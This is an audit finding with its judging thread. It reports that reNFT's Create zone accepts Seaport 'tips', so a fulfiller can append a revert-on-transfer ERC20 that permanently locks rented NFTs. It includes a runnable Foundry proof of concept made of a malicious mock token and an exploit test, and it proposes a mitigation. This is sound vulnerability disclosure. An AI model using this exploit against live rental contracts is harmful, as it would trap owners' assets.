All orders can be hijacked to lock rental assets forever by tipping a malicious ERC20

[c4-bot-9]

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L733

Vulnerability details

Impact

The Create contract is responsible for creating a rental. It achieves this by acting as a Seaport Zone, and storing and validating orders as rentals when they are fulfilled on Seaport.

However, one thing it doesn't account for is the fact that Seaport allows for "tipping" in the form of ERC20 tokens as part of the order fulfillment process. This is done by extending the consideration array in the order with additional ERC20 tokens.

From the Seaport docs (emphasis mine):

The consideration contains an array of items that must be received in order to fulfill the order. It contains all of the same components as an offered item, and additionally includes a recipient that will receive each item. This array may be extended by the fulfiller on order fulfillment so as to support "tipping" (e.g. relayer or referral payments).

This other passage, while discussing a different issue, even highlights the root cause of this vulnerability (the zone does not properly allocate consideration extensions):

As extensions to the consideration array on fulfillment (i.e. "tipping") can be arbitrarily set by the caller, fulfillments where all matched orders have already been signed for or validated can be frontrun on submission, with the frontrunner modifying any tips. Therefore, it is important that orders fulfilled in this manner either leverage "restricted" order types with a zone that enforces appropriate allocation of consideration extensions, or that each offer item is fully spent and each consideration item is appropriately declared on order creation.

Let's dive in and see how tipping works exactly. We know fulfillers may use the entry points listed here, the first of which is simply a wrapper to _validateAndFulfillAdvancedOrder(). This function calls _validateOrderAndUpdateStatus() , which derives the order hash by calling _assertConsiderationLengthAndGetOrderHash(). At the end of the trail, we can see that the order hash is finally derived in _deriveOrderHash() from other order parameters as well as the consideration array, but only up to the totalOriginalConsiderationItems value in the parameters of the AdvancedOrder passed by the fulfiller as argument. This value reflects the original length of the consideration items in the order. https://github.com/ProjectOpenSea/seaport-types/blob/25bae8ddfa8709e5c51ab429fe06024e46a18f15/src/lib/ConsiderationStructs.sol#L143-L156

struct OrderParameters {
    address offerer; // 0x00
    address zone; // 0x20
    OfferItem[] offer; // 0x40
    ConsiderationItem[] consideration; // 0x60
    OrderType orderType; // 0x80
    uint256 startTime; // 0xa0
    uint256 endTime; // 0xc0
    bytes32 zoneHash; // 0xe0
    uint256 salt; // 0x100
    bytes32 conduitKey; // 0x120
    uint256 totalOriginalConsiderationItems; // 0x140
    // offer.length                          // 0x160
}

Thus we can see that when deriving the order hash the extra consideration items are ignored, which is what allows the original signature of the offerer to match. However, in the ZoneParameters passed on to the zone, all consideration items are included in one array, and there is no obvious way to distinguish tips from original items:

struct ZoneParameters {
    bytes32 orderHash;
    address fulfiller;
    address offerer;
    SpentItem[] offer;
    ReceivedItem[] consideration;
    // the next struct member is only available in the project's fork
    ReceivedItem[] totalExecutions;
    bytes extraData;
    bytes32[] orderHashes;
    uint256 startTime;
    uint256 endTime;
    bytes32 zoneHash;
}

Finally, while the validateOrder() function in the Create contract verifies that the order fulfillment has been signed by the reNFT signer, the signed RentPayload does not depend on the consideration items, hence tipping is still possible.

The vulnerability arises when this capability is exploited to add a malicious ERC20 token to the consideration array. This malicious token can be designed to revert on transfer, causing the rental stop process to fail. As a result, the rented assets remain locked in the rental safe indefinitely.

Proof of Concept

We can validate the vulnerability through an additional test case for the Rent.t.sol test file. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. Create a BASE order with Alice as the offerer.
2. Finalize the order creation.
3. Create an order fulfillment with Bob as the fulfiller.
4. Append a malicious ERC20 token to the consideration array of the order.
5. Finalize the order fulfillment.
6. Attempt to stop the rent, which will fail due to the revert on transfer from the escrow.

A simple exploit contract could look as follows:

pragma solidity ^0.8.20;

import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";

// This mock ERC20 will always revert on `transfer`
contract MockRevertOnTransferERC20 is ERC20 {
    constructor() ERC20("MockAlwaysRevertERC20", "M_AR_ERC20") {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function burn(address to, uint256 amount) public {
        _burn(to, amount);
    }

    function transfer(address, uint256) public pure override returns (bool) {
        require(false, "transfer() revert");
        return false;
    }
}

And the test:

import {
    Order,
    OrderParameters,
    ConsiderationItem,
    ItemType,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {MockRevertOnTransferERC20} from "@test/mocks/tokens/weird/MockRevertOnTransferERC20.sol";

    function test_Vuln_OrderHijackingByTippingMaliciousERC20() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });
        // ------- Identical to existing "test_Success_Rent_BaseOrder_ERC721" until here -------

        MockRevertOnTransferERC20 exploitErc20 = new MockRevertOnTransferERC20();
        // Seaport enforces non-zero quantities + approvals
        exploitErc20.mint(bob.addr, 100);
        vm.prank(bob.addr);
        exploitErc20.approve(address(conduit), type(uint256).max);

        // we acccess baseOrder.advancedOrder and add a consideration item
        OrderParameters storage params = ordersToFulfill[0].advancedOrder.parameters;
        params.consideration.push(ConsiderationItem({
            itemType: ItemType.ERC20,
            token: address(exploitErc20),
            identifierOrCriteria: 0,
            startAmount: 100,
            endAmount: 100,
            recipient: payable(address(ESCRW))
        }));

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // rental cannot be stopped since transfer from escrow will always revert
        vm.prank(bob.addr);
        vm.expectRevert(
            abi.encodeWithSelector(
                Errors.PaymentEscrowModule_PaymentTransferFailed.selector,
                exploitErc20,
                alice.addr,
                100
            )
        );
        stop.stopRent(rentalOrder);
    }

To run the exploit test:

• Save the exploit contract as test/mocks/tokens/weird/MockRevertOnTransferERC20.sol.
• Add the test to the Rent.t.sol test file and run it using the command forge test --mt test_Vuln_OrderHijackingByTippingMaliciousERC20. This will run the test above, which should demonstrate the exploit by successfully appending a malicious ERC20 to an existing order and starting a rental that cannot be stopped.

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Disallow tipping, either by removing this functionality in the Seaport fork or, if this isn't possible, perhaps by adding the size of the consideration items to the ZoneParameters and reverting if there are more. This would prevent the addition of malicious ERC20 tokens to the consideration array, thereby preventing the hijacking of orders and the indefinite locking of rented assets in the rental safe.

Assessed type

call/delegatecall

[c4-pre-sort]

141345 marked the issue as duplicate of #139

[c4-judge]

0xean marked the issue as satisfactory

[0xEVom]

Hi @0xean, could you consider selecting this issue for the report instead of #139? I believe it would be a better choice for the report due to the following reasons:

• It provides context in a more concise and readable manner, while providing references to understand the issue in depth if needed
• It provides a complete runnable POC
• It mentions an additional in-scope mitigation

I would argue that especially the POC is of considerable value here, since this is an issue with many moving parts and it is hard to fully trust an analysis based just on code review to verify its validity.

Thanks for your consideration!

[c4-judge]

0xean marked the issue as selected for report

[c4-sponsor]

Alec1017 (sponsor) confirmed